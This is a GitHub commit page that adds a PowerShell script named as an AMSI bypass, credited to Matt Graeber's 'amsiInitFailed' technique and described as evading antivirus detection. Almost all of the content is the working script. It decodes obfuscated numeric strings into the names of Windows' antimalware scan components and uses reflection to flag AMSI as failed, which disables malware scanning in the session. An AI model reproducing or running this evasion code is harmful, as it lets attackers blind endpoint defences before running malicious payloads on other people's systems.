Create AMSI_bypass_2021_09.ps1

This commit is contained in:
Norbert Tihanyi, Phd
2021-10-08 21:54:00 +04:00
committed by GitHub
parent b4894ac410
commit c849bfba81
+9
View File
@@ -0,0 +1,9 @@
#Twitter: @TihanyiNorbert (No AV detecetion 2021 October)
#Based on the original work of Matt Graeber @mattifestation 'amsiInitFailed' script.
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)